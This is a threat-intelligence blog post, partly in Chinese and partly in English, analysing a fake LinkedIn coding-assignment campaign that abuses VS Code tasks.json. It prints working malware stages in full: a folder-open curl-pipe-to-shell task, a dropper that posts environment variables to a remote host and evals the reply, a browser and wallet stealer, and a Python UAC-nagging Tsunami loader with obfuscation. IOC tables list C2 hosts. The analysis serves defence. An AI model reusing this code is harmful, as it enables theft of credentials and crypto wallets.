    # Get the filepath of the pythonw.exe

    py_exe = sys.executable
    py_exe = py_exe.replace("python.exe", "pythonw.exe")

    # Execute the payload with UAC

    result = ctypes.windll.shell32.ShellExecuteW(
        None,
        "runas",
        py_exe,
        f'"{TSUNAMI_PAYLOAD_PATH}"',
        None,
        1
    )

    # Return true if it worked, false if it failed

    if result <= 32:
        return False
    else:
        return True
        #hel p me

##### Application Entry #####

if __name__ == "__main__":
    # Check if the Tsunami Installer task is scheduled

    if is_task_scheduled(TSUNAMI_INSTALLER_NAME):
        # Task is scheduled, check if the Tsunami Installer payload is installed

        if not os.path.exists(TSUNAMI_INSTALLER_PATH):
            # Task is scheduled but the Tsunami Installer is not installed yet, download and extract it

            output("[+] Task is scheduled but the Tsunami Installer was not found. Downloading and extracting...")

            # Download the Tsunami Installer

            download_installer()
        else:
            # Task is scheduled and the Tsunami Installer is installed, there is nothing to do but exit

            output("[+] Task is scheduled and the Tsunami Installer is installed. Exiting...")
    else:
        # Task is not scheduled

        output("[+] Task is not yet scheduled, attempting to execute the Tsunami Payload")

        # Extract the Tsunami Payload

        extract_payload()

        # Execute the Tsunami Payload

        while True:
            # Sleep for 10 to 20 minutes

            time.sleep(random.uniform(600, 1200))

            # Execute the Tsunami Payload

            if execute_payload_with_uac():
                # User gave administrator to the Tsunami Payload

                output("[+] User accepted UAC prompt for administrator. The Tsunami Payload executed successfully")

                # Nothing more to do, exit the execution loop

                break
            else:
                # User rejected administrator for the Tsunami Payload, try again

                output("[-] User rejected UAC prompt for administrator. Retrying shortly...")

    # Keep the window open in debug mode for analysis

    if DEBUG_MODE:
        input()
                              """

    ##### Obfuscator #####

    zlb = lambda in_ : zlib.compress(in_)
    b64 = lambda in_ : base64.b64encode(in_)

    def obfuscate_script(data: str, loop_count: int) -> str:
        # Change the value of the random variable to ensure different obfuscation strings each time

        data = data.replace("RandVar = '?'", f"RandVar = '{random.randint(100000, 10000000)}'")

        # Setup obfuscation

        xx = "b64(zlb(data.encode('utf8')))[::-1]"
        prefix = "_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));"

        # Perform obfuscation

        for i in range(loop_count):
            try:
                data = "exec((_)(%s))" % repr(eval(xx))
            except TypeError as s:
                sys.exit(" TypeError : " + str(s))

        # Build the complete output

        output = ""

        output += "\n"
        output += prefix
        output += data
        output += "\n"

        # Return the output

        return output

    ##### Utils #####

    def output(text: str) -> None:
        if DEBUG_MODE:
            print(text)

    def download_file(url: str, file_path: str):
        try:
            powershell_script = f"""
            $url = "{url}"
            $filePath = "{file_path}"
            Invoke-WebRequest -Uri $url -OutFile $filePath
                                """

            subprocess.run(
                ["powershell", "-Command", powershell_script],
                check = True,
                creationflags = subprocess.CREATE_NO_WINDOW,
            )

            output(f"File downloaded successfully to: {file_path}")
        except subprocess.CalledProcessError as e:
            output(f"Error downloading file with PowerShell: {e}")

    ##### Tsunami Infecter #####

    def is_python_installed() -> bool:
        try:
            # Check if the platform is Windows
            if platform.system() == "Windows":
                # Check HKEY_LOCAL_MACHINE
                key = r"SOFTWARE\Python\PythonCore"
                try:
                    with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key) as reg_key:
                        # Get the subkeys (versions) under PythonCore
                        subkeys_count = winreg.QueryInfoKey(reg_key)[0]
                        if subkeys_count > 0:
                            # Get the latest Python version
                            latest_version = max([float(winreg.EnumKey(reg_key, i)) for i in range(subkeys_count)])
                            output(f"Python {latest_version} is installed.")
                            return True
                except FileNotFoundError:
                    pass  # Ignore if the key is not found in HKEY_LOCAL_MACHINE

                # Check HKEY_CURRENT_USER
                key = r"SOFTWARE\Python\PythonCore"
                try:
                    with winreg.OpenKey(winreg.HKEY_CURRENT_USER, key) as reg_key:
                        # Get the subkeys (versions) under PythonCore
                        subkeys_count = winreg.QueryInfoKey(reg_key)[0]
                        if subkeys_count > 0:
                            # Get the latest Python version
                            latest_version = max([float(winreg.EnumKey(reg_key, i)) for i in range(subkeys_count)])
                            output(f"Python {latest_version} is installed.")
                            return True
                except FileNotFoundError:
                    pass  # Ignore if the key is not found in HKEY_CURRENT_USER

                output("Python is not installed.")
                return False
            else:
                output("This function is designed for Windows systems.")
                return False
        except Exception as e:
            output(f"Error: {e}")
            return False

    def execute_python_with_uac(py_installer_path: str) -> bool:
        result = ctypes.windll.shell32.ShellExecuteW(
            None,
            "runas",
            py_installer_path,
            "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0",
            None,
            0
        )

        # Return true if it worked, false if it failed

        if result <= 32:
            return False
        else:
            return True

    def install_python() -> None:
        # Create a temporary download path for the Python installer

        py_installer_path = tempfile.NamedTemporaryFile(delete = False).name + ".exe"

        # Download the Python installer to the path

        download_file(PYTHON_INSTALLER_URL, py_installer_path)

        # Execute the Python installer to run silently with a UAC prompt

        while True:
            # Sleep for 10 to 30 seconds

            time.sleep(random.uniform(10, 30))

            # Attempt to execute the Python Installer as administrator with UAC

            if execute_python_with_uac(py_installer_path):
                # Successfully executed

                output("[+] The Python installer ran successfully, Python is being installed to the system")

                # Python installer run successfully, nothing left to do but exit

                break
            else:
                # User rejected UAC

                output("[-] User rejected UAC for Python, retrying...")

    ##### Application Entry #####

    if __name__ == "__main__":
        # Check if Python is not installed to the system

        if not is_python_installed():
            # Python is not installed

            output("[+] Python is not installed, downloading the installer...")

            # Install Python

            install_python()
        else:
            # Python is already installed

            output("[+] Python is already installed")

        # Package installations

        try:
            import cryptography
        except ImportError:
            subprocess.check_call([sys.executable, "-m", "pip", "install", "cryptography"])

        # Write the Tsunami Injector to the startup folder if it does not already exist

        with open(TSUNAMI_INJECTOR_PATH, "w") as f:
            f.write(obfuscate_script(TSUNAMI_INJECTOR_SCRIPT, loop_count = 50))

        output("[+] Wrote the Tsunami Injector to the startup folder")

        # Keep the window open in debug mode for analysis

        if DEBUG_MODE:
            input()
except:
    # :(
    pass

到這邊 Sample 2 大致的執行流程就結束了，最後統整一下執行的過程

  • 初始讓使用者用vscode 相關 editer 透過 task.json 請求惡意檔案
  • 再通過多層 javascript + python dropper 下載惡意程式
  • 這類的 Sample 會在混淆過後的 Javascrpt 中執行以下行為
    • 竊取使用者瀏覽器、錢包、機密檔案資料
    • 透過 https://api.npoint[.]io 獲得配置 python 設定檔
    • 下載 python 惡意程式
  • 在惡意 python 程式會有以下行為
    • 利用 zlibcompress + base64decode 混淆程式碼
    • 透過 https://pastebin[.]com/傳輸惡意程式配置文件
    • 經常利用 XOR + base64decode + 反轉解密
    • 建立 C2
      • C2 : 146.70.253[.]107:122
    • 下載 TSUNAMI 惡意程式
      • Sha256 : ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527

相關的分析報告

根據分析報告，這次的攻擊取代了 BeaverTail 需要要求開發者手動觸發 npm ，而是轉成利用開發者通常都會信任vscode 資料夾的方式觸法

IOC

Sample 1

Network Indicators

TypeValueDescription
Domainwww.vscodeconfig[.]comStage 1 Dropper
Domainvscodesetting.vercel[.]appStage 2 Dropper (Download script & package)
Domainmylocation-info.vercel[.]appPayload Delivery (Encrypted JS)
IP144.172.107[.]191C2 Server (All traffic)
C2 Endpointhttp://144.172.107[.]191:8085/uploadData Exfiltration (Browser Data)
C2 Endpointhttp://144.172.107[.]191:8085/api/upload-fileData Exfiltration (Large Files/Command Result)
C2 Endpointhttp://144.172.107[.]191:8086/uploadData Exfiltration (Sensitive Files)
C2 Endpointhttp://144.172.107[.]191:8087/api/notifyHost Online Notification
C2 Endpointhttp://144.172.107[.]191:8087/api/logClipboard Logs / Startup Logs
C2 Endpointws://144.172.107[.]191:8087Command & Control (WebSocket)

Host-Based Indicators

TypeValueDescription
File Path$HOME/.vscode/vscode-bootstrap.shDropper Script
File Path$HOME/.vscode/env-setup.jsPayload Launcher
File Path$HOME/.vscode/package.jsonMalicious Package Config
File Path%TEMP%/pid.<timestamp>.1.lockLock File (Browser Stealer)
File Path%TEMP%/pid.<timestamp>.2.lockLock File (File Scanner)
File Path%TEMP%/pid.<timestamp>.3.lockLock File (C2 Client)
File Path%TEMP%/.upload_<timestamp>_*/s.txtStolen Passwords (Temporary)
File Path%TEMP%/.upload_<timestamp>_*/sysinfo.txtSystem Info (Temporary)

Sample 2

Network Indicators

TypeValueDescription
IP146.70.253[.]107Primary C2 (HTTP :1224, Socket :2241)
IP23.227.203[.]18Backup C2 (HTTP :1224)
IP23.254.164[.]156Payload Delivery (Tsunami Installer)
URLhttp://146.70.253[.]107:1224/keysSystem Info Beacon & Key Exchange
URLhttp://146.70.253[.]107:1224/uploadsData Exfiltration Endpoint
URLhttp://146.70.253[.]107:1224/client/15/812Stage 2 Python Payload Download
URLhttps://pastebin[.]com/raw/u/NotingRobe2871Encrypted Payload Config (Targeting Windows)

Host-Based Indicators

TypeValueDescription
File Path~/.n2/wayC2 Client / Remote Shell (Python)
File Path~/.n2/powWindows Dropper / Persistence (Python)
File Path~/.n2/bowSame as pow
File Path~/.n2/adcAnyDesk Bundle
File Path~/.n2/flistUpload Queue Log
File Path~/.nlqStage 2 Encrypted Payload
File Path (Win)%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Update Script.pywPersistence Script (Tsunami Injector)
File Path (Win)%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exeTsunami Installer
File Path (Win)%LOCALAPPDATA%\Microsoft\Windows\Applications\Runtime Broker.exeTsunami Client / Payload
File Path (Win)%LOCALAPPDATA%\Microsoft\Windows\Applications\msedge.exeXMRig Miner
File Path (Win)%TEMP%/<16_Random_Chars>Temporary Tsunami Payload

Cryptographic Indicators

TypeValueDescription
XOR Key!!!HappyPenguin1950!!!Used for configuration and payload decryption
RSA KeyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8...Hardcoded Public Key for Signature Verification

Malicious Hashes

TypeValueDescription
SHA256ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527Tsunami Installer (Runtime Broker.exe)

Conclusion

別相信任何來不不明的專案 by yunshiuan

]]> <h1 id="2026-Linkedin-Malicious-Coding-Assignment-Test-分析"><a href="#2026-Linkedin-Malicious-Coding-Assignment-Test-分析" class="headerlink" t (English Version) 2026 Linkedin Malicious Coding Assignment / Test Analysis https://yunshiuan.com/2026/01/29/LinkedinFish_en/ 2026-01-29T16:00:00.000Z 2026-04-29T11:34:17.497Z

author : yunshiuan , This analysis report was a special topic project for the TeamT5 Camp Threat Intelligence Group from 2026/01/13 to 2026/01/22, researched jointly with @yjk and @rui.

On 2026/01/08, a post on Thread caused quite a stir. In short, the author received an interview invitation on LinkedIn and was given a GitHub Repo link as an interview assignment. When he cloned the GitHub Repo and opened it with VS Code, malicious behavior was triggered. Eventually, he discovered that 600,000 TWD was stolen from his crypto wallet.

image-20260125101548610image-20260125102029716

Beneath his original post, he included the entire process with the fake interviewer. Fortunately, he also displayed the original Repo information, named megaorg996/tokentradingdapp. Unfortunately, this Repo has disappeared. However, using the GitHub Search function with the exact Repo Name revealed four identical Repos, among which https://github[.]com/leecarney94/tokentradingdapp was still active. Additionally, searching for similar Repo names yielded even more malicious Repos. This analysis report will demonstrate the malicious behaviors of this type of attack across different samples.

Ps : When writing this report on 2026/01/29, leecarney94/tokentradingdapp was also gone, but a search later found it simply renamed to leecarney93/TokenTradingDapp

Generally, when opening a project in VS Code, a prompt appears:

image-20260125102029716

The following analysis report will also mention what happens when you click Trust.

tl;dr

This analysis report showcases two Samples that, while sharing the same attack surface, exhibit different attack behaviors.

Attack techniques include:

  • Impersonating recruiters on LinkedIn and sending GitHub project links containing malicious code.
  • leveraging VS Code’s tasks.json automation feature to automatically execute malicious commands when opening a project.
  • Stealing cross-platform browser credentials, cryptocurrency wallets, environment variables, and clipboard content.
  • Ensuring malware execution persists after reboot via startup folders and scheduled tasks on Windows.
  • Using multi-layer obfuscation and multi-layer droppers to complicate the analysis process.
  • Adding Windows Defender exclusions and creating Scheduled Tasks to achieve persistence.
  • Establishing TCP Socket/Websocket connections to provide remote Shell, file upload/download, keylogging, and even downloading AnyDesk for remote desktop control.

This attack is attributed to the Lazarus Group from North Korea, evolving from the previous BeaverTail method to be more easily triggered.

Additionally, there are many variants of this attack, and many can be found on GitHub. However, some Repos that were active a few days ago may disappear, possibly just changing names or Repo names, or because some services hosted on Vercel might be taken down or closed. Therefore, the GitHub Repos mentioned in this report might disappear in a few days.

ex : Link 1 , Link 2 , Link 3

Analyze

Sample 1

URL : https://github[.]com/leecarney93/tokentradingdapp

First appearance: 2025/10/31

Similar GitHub Repos :

  • https://Github[.]com/ryon-business/Promoting-DApp
  • https://Github[.]com/samuelmeadowbiankah/felina

In these malicious projects, there is a .vscode folder containing settings.json and tasks.json. The key lies in tasks.json. Originally, tasks.json is used to execute automation scripts when opening VS Code, but in this attack, it is maliciously exploited. Below is the tasks.json for this Sample.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// tasks.json
{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "env",
      "type": "shell",
      "osx": {
        "command": "curl 'https://www.vscodeconfig[.]com/settings/mac?flag=1' | bash"
      },
      "linux": {
        "command": "wget -qO- 'https://www.vscodeconfig[.]com/settings/linux?flag=1' | sh"
      },
      "windows": {
        "command": "curl https://www.vscodeconfig[.]com/settings/windows?flag=1 | cmd"
      },
      "problemMatcher": [],
      "presentation": {
        "reveal": "never",
        "echo": false,
        "focus": false,
        "close": true,
        "panel": "dedicated",
        "showReuseMessage": false
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}

Here we can see it sets “runOn”: “folderOpen”, which means if a user opens this project with VS Code, it will execute the command defined above. The command requests the corresponding webpage based on the operating system and executes the returned content.

Next, let’s grab the returned content (using Linux as an example):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
set -e
echo "Authenticated"

TARGET_DIR="$HOME/.vscode"
mkdir -p "$TARGET_DIR"
clear
wget -q -O "$TARGET_DIR/vscode-bootstrap.sh" "https://vscodesettings.vercel[.]app/settings/bootstraplinux?flag=1"
clear
chmod +x "$TARGET_DIR/vscode-bootstrap.sh"
clear
nohup bash "$TARGET_DIR/vscode-bootstrap.sh" > /dev/null 2>&1 &
clear
exit 0%

We can see it goes to $HOME/.vscode, requests https://vscodesettings.vercel[.]app/settings/bootstraplinux?flag=1, saves it as vscode-bootstrap.sh, and executes it.

Next, let’s look at the content of vscode-bootstrap.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
# vscode-bootstrap.sh

#!/bin/bash
# Creating new Info
set -e
OS=$(uname -s)
NODE_EXE=""
NODE_INSTALLED_VERSION=""
# -------------------------
# Check for global Node.js installation
# -------------------------
if command -v node &> /dev/null; then
    NODE_INSTALLED_VERSION=$(node -v 2>/dev/null || echo "")
    if [ -n "$NODE_INSTALLED_VERSION" ]; then
        NODE_EXE="node"
        echo "[INFO] Node.js is already installed globally: $NODE_INSTALLED_VERSION"
    fi
fi
# -------------------------
# If Node.js not found globally, download and extract portable version
# -------------------------
if [ -z "$NODE_EXE" ]; then
    echo "[INFO] Node.js not found globally. Attempting to download portable version..."
    # Get latest Node.js version
    if [ "$OS" == "Darwin" ]; then
        # macOS - get latest version
        if command -v curl &> /dev/null; then
            LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        elif command -v wget &> /dev/null; then
            LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        else
            LATEST_VERSION="v20.11.1"
        fi
    elif [ "$OS" == "Linux" ]; then
        # Linux - get latest version
        if command -v curl &> /dev/null; then
            LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        elif command -v wget &> /dev/null; then
            LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o '"version":"[^"]*"' | head -1 | cut -d'"' -f4)
        else
            LATEST_VERSION="v20.11.1"
        fi
    else
        echo "[ERROR] Unsupported OS: $OS"
        exit 1
    fi
    # Remove leading "v"
    NODE_VERSION=${LATEST_VERSION#v}
    # Determine download URL and paths based on OS
    EXTRACTED_DIR="$HOME/.vscode/node-v${NODE_VERSION}-$( [ "$OS" = "Darwin" ] && echo "darwin" || echo "linux" )-x64"
    PORTABLE_NODE="$EXTRACTED_DIR/bin/node"
    if [ "$OS" == "Darwin" ]; then
        NODE_TARBALL="$HOME/.vscode/node-v${NODE_VERSION}-darwin-x64.tar.xz"
        DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-darwin-x64.tar.xz"
    elif [ "$OS" == "Linux" ]; then
        NODE_TARBALL="$HOME/.vscode/node-v${NODE_VERSION}-linux-x64.tar.xz"
        DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-linux-x64.tar.xz"
    fi
    # Check if portable Node.js already exists
    if [ -f "$PORTABLE_NODE" ]; then
        echo "[INFO] Portable Node.js found."
        NODE_EXE="$PORTABLE_NODE"
        export PATH="$EXTRACTED_DIR/bin:$PATH"
    else
        echo "[INFO] Downloading Node.js..."
        mkdir -p "$HOME/.vscode"
        # Download Node.js
        if ! command -v curl &> /dev/null && ! command -v wget &> /dev/null; then
            echo "[ERROR] Neither curl nor wget is available."
            exit 1
        fi
        if command -v curl &> /dev/null; then
            curl -sSL -o "$NODE_TARBALL" "$DOWNLOAD_URL"
        else
            wget -q -O "$NODE_TARBALL" "$DOWNLOAD_URL"
        fi
        if [ ! -f "$NODE_TARBALL" ]; then
            echo "[ERROR] Failed to download Node.js."
            exit 1
        fi
        echo "[INFO] Extracting Node.js..."
        tar -xf "$NODE_TARBALL" -C "$HOME/.vscode"
        rm -f "$NODE_TARBALL"
        if [ -f "$PORTABLE_NODE" ]; then
            echo "[INFO] Portable Node.js extracted successfully."
            NODE_EXE="$PORTABLE_NODE"
            export PATH="$EXTRACTED_DIR/bin:$PATH"
        else
            echo "[ERROR] node executable not found after extraction."
            exit 1
        fi
    fi
fi
# -------------------------
# Verify Node.js works
# -------------------------
if [ -z "$NODE_EXE" ]; then
    echo "[ERROR] Node.js executable not set."
    exit 1
fi
"$NODE_EXE" -v > /dev/null 2>&1
if [ $? -ne 0 ]; then
    echo "[ERROR] Node.js execution failed."
    exit 1
fi
# -------------------------
# Download required files
# -------------------------
USER_HOME="$HOME/.vscode"
mkdir -p "${USER_HOME}"
BASE_URL="https://vscodesettings.vercel.app"
echo "[INFO] Downloading env-setup.js and package.json..."
if ! command -v curl >/dev/null 2>&1; then
    wget -q -O "${USER_HOME}/env-setup.js" "${BASE_URL}/settings/env?flag=1"
    wget -q -O "${USER_HOME}/package.json" "${BASE_URL}/settings/package"
else
    curl -s -L -o "${USER_HOME}/env-setup.js" "${BASE_URL}/settings/env?flag=1"
    curl -s -L -o "${USER_HOME}/package.json" "${BASE_URL}/settings/package"
fi
# -------------------------
# Install dependencies
# -------------------------
cd "${USER_HOME}"
if [ ! -d "node_modules/request" ]; then
    echo "[INFO] Installing NPM packages..."
    if command -v npm &> /dev/null; then
        npm install --silent --no-progress --loglevel=error --fund=false
    else
        # Use npm from extracted directory if available
        if [ -n "$EXTRACTED_DIR" ] && [ -f "$EXTRACTED_DIR/bin/npm" ]; then
            "$EXTRACTED_DIR/bin/npm" install --silent --no-progress --loglevel=error --fund=false
        else
            echo "[ERROR] npm not found."
            exit 1
        fi
    fi
    if [ $? -ne 0 ]; then
        echo "[ERROR] npm install failed."
        exit 1
    fi
fi
# -------------------------
# Run env-setup.js
# -------------------------
if [ -f "${USER_HOME}/env-setup.js" ]; then
    echo "[INFO] Running env-setup.js..."
    #cd "$HOME"
    "$NODE_EXE" "${USER_HOME}/env-setup.js"
    if [ $? -ne 0 ]; then
        echo "[ERROR] env-setup.js execution failed."
        exit 1
    fi
else
    echo "[ERROR] env-setup.js not found."
    exit 1
fi
echo "[SUCCESS] Script completed successfully."
exit 0%

It first checks if Node.js is in the current environment. If not, it installs it. Then it proceeds to https://vscodesettings.vercel[.]app to download two files, env-setup.js and package.json. Next, it installs the package.json packages and executes env-setup.js.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// package.json
{
  "name": "env",
  "version": "1.0.0",
  "devDependencies": {
    "hardhat": "^2.20.2"
  },
  "dependencies": {
    "axios": "^1.10.0",
    "fs": "^0.0.1-security",
    "request": "^2.88.2",
    "clipboardy": "^4.0.0",
    "socket.io-client": "^4.8.1",
    "sql.js": "^1.13.0"
  },
  "scripts": {
    "test": "npx hardhat test",
    "deploy": "npx hardhat run scripts/deploy.js"
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// env-setup.js
const axios = require("axios");
const host = "mylocation-info.vercel.app";
const apikey = "3aeb34a31";
axios
  .post(
    `https://${host}/api/vscode-encrypted/${apikey}`,
    { ...process.env },
    { headers: { "x-secret-header": "secret" } },
  )
  .then((response) => {
    eval(response.data);
    return response.data;
  })
  .catch((err) => {
    return false;
  });

In env-setup.js, it goes to https://mylocation-info.vercel[.]app/api/vscode-encrypted/3aeb34a31 and executes it directly using eval.

After downloading the code from https://mylocation-info.vercel[.]app/api/vscode-encrypted/3aeb34a31, we get a 4.2MB JavaScript obfuscated file with about 93248 lines. Here I recommend a JavaScript deobfuscation site: https://webcrack.netlify.app/, which is very helpful for analyzing this program.

In this JavaScript, the main functions are written into three modules: ldbScript, autoUploadScript, and socketScript. These three modules are placed in %TEMP%/pid." + t + ".[1-3].lock to prevent duplicate execution. It also checks if the current environment is WSL; if so, it accesses /mnt/c/.

Additionally, when this JavaScript starts executing, it makes an initial notification to http://144.172.107[.]191:8087/api/log.

The HTTP POST request is:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/log HTTP/1.1
Host: 144.172.107.191:8087
Content-Type: application/json
{
  "ukey": 101,
  "t": <timestamp>,
  "host": "101_<hostname>",
  "os": "<os_type> <os_release>",
  "username": "<username>",
  "message": "Starting client",
  "level": "info",
  "data": {}
}

Below is the code for the three modules:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const r = async () => {
  f_s_l("Starting client", "info");
  const I =
    'const { exec, execSync } = require("child_process");\nconst path = require("path");\nconst axios = require("axios");\nconst fs = require("fs");\nconst fsPromises = require("fs/promises");\nconst os = require("os");\nconst FormData = require("form-data");\nconst crypto = require("crypto");\nconst { exit } = require("process");\n' +
    s_u_c +
    "\n" +
    Utils.set_l("ldb") +
    "\nconst formData = new FormData();\nlet i = 0;\nconst wps = [\"nkbihfbeogaeaoehlefnkodbefgpgknn\", \"ejbalbakoplchlghecdalmeeeajnimhm\", \"acmacodkjbdgmoleebolmdjonilkdbch\", \"bfnaelmomeimhlpmgjnjophhpkkoljpa\", \"ibnejdfjmmkpcnlpebklmnkoeoihofec\", \"egjidjbpglichdcondbcbdnbeeppgdph\", \"nphplpgoakhhjchkkhmiggakijnkhfnd\", \"omaabbefbmiijedngplfjmnooppbclkk\", \"bhhhlbepdkbapadjdnnojkbgioiodbic\", \"aeachknmefphepccionboohckonoeemg\", \"aflkmhkiijdbfcmhplgifokgdeclgpoi\", \"agoakfejjabomempkjlepdflaleeobhb\", \"aholpfdialjgjfhomihkjbmgjidlcdno\", \"afbcbjpbpfadlkmhmclhkeeodmamcflc\", \"cgbogdmdefihhljhfeffkljbghamglni\", \"dmkamcknogkgcdfhhbddcghachkejeap\", \"dlcobpjiigpikoobohmabehhmhfoodbb\", \"efbglgofoippbgcjepnhiblaibcnclgk\", \"ejjladinnckdgjemekebdpeokbikhfci\", \"fhbohimaelbohpjbbldcngcnapndodjp\", \"fhkbkphfeanlhnlffkpologfoccekhic\", \"fhmfendgdocmcbmfikdcogofphimnkno\", \"fldfpgipfncgndfolcbkdeeknbbbnhcc\", \"gjnckgkfmgmibbkoficdidcljeaaaheg\", \"hifafgmccdpekplomjjkcfgodnhcellj\", \"hmeobnfnfcmdkdcmlblgagmfpfboieaf\", \"hnfanknocfeofbddgcijnmhnfnkdnaad\", \"jiidiaalihmmhddjgbnbgdfflelocpak\", \"jblndlipeogpafnldhgmapagcccfchpi\", \"jmbkjchcobfffnmjboflnchcbljiljdk\", \"jnjpmcgfcfeffkfgcnjefkbkgcpnkpab\", \"kpkmkbkoifcfpapmleipncofdbjdpice\", \"khpkpbbcccdmmclmpigdgddabeilkdpd\", \"ldinpeekobnhjjdofggfgjlcehhmanaj\", \"lgmpcpglpngdoalbgeoldeajfclnhafa\", \"mcohilncbfahbmgdjkbpemcciiolgcge\", \"mopnmbcafieddcagagdcbnhejhlodfdd\", \"nkklfkfpelhghbidbnpdfhblphpfjmbo\", \"penjlddjkjgpnkllboccdgccekpkcbin\", \"ppbibelpcjmhbdihakflkdcoccbgbkpo\"];\nconst platform = process.platform;\n\nconst getWindowsBrowserPaths = (windowsUsername) => {\n  if (!windowsUsername) return [];\n  \n  const windowsPaths = [];\n  // When running in WSL, use /mnt/c/ path format to access Windows filesystem\n  // Windows AppData paths: /mnt/c/Users/{username}/AppData/Local/...\n  const localAppDataBase = `/mnt/c/Users/${windowsUsername}/AppData/Local`;\n  \n  const browserRelativePaths = [\n    \"Google/Chrome/User Data\",                    // Chrome\n    \"BraveSoftware/Brave-Browser/User Data\",      // Brave\n    \"AVG Browser/User Data\",                       // AVG Browser\n    \"Microsoft/Edge/User Data\",                   // Edge\n    \"Opera Software/Opera Stable\",                // Opera\n    \"Opera Software/Opera GX\",                    // Opera GX\n    \"Vivaldi/User Data\",                          // Vivaldi\n    \"Kiwi Browser/User Data\",                     // Kiwi\n    \"Yandex/YandexBrowser/User Data\",            // Yandex\n    \"Iridium/User Data\",                          // Iridium\n    \"Comodo/Dragon/User Data\",                    // Comodo\n    \"SRWare Iron/User Data\",                      // SRWare\n    \"Chromium/User Data\"                          // Chromium\n  ];\n  \n  browserRelativePaths.forEach(relativePath => {\n    const fullPath = path.join(localAppDataBase, relativePath);\n    windowsPaths.push(fullPath);\n  });\n  \n  return windowsPaths;\n};\n\nconst getChromiumBasePaths = () => {\n  const chromiumBrowserPaths = [\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Google/Chrome/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Google/Chrome\"),\n      path.join(process.env.HOME || '', \".config/google-chrome\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"BraveSoftware/Brave-Browser/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/BraveSoftware/Brave-Browser\"),\n      path.join(process.env.HOME || '', \".config/BraveSoftware/Brave-Browser\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"AVG Browser/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/AVG Browser\"),\n      path.join(process.env.HOME || '', \".config/avg-browser\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Microsoft/Edge/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Microsoft Edge\"),\n      path.join(process.env.HOME || '', \".config/microsoft-edge\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Opera Software/Opera Stable\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/com.operasoftware.Opera\"),\n      path.join(process.env.HOME || '', \".config/opera\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Opera Software/Opera GX\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/com.operasoftware.OperaGX\"),\n      path.join(process.env.HOME || '', \".config/opera-gx\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Vivaldi/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Vivaldi\"),\n      path.join(process.env.HOME || '', \".config/vivaldi\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Kiwi Browser/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Kiwi Browser\"),\n      path.join(process.env.HOME || '', \".config/kiwi-browser\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Yandex/YandexBrowser/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Yandex/YandexBrowser\"),\n      path.join(process.env.HOME || '', \".config/yandex-browser\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Iridium/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Iridium\"),\n      path.join(process.env.HOME || '', \".config/iridium-browser\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"Comodo/Dragon/User Data\"),\n      path.join(process.env.HOME || '', \"Library/Application Support/Comodo/Dragon\"),\n      path.join(process.env.HOME || '', \".config/comodo-dragon\")\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || '', \"SRWare 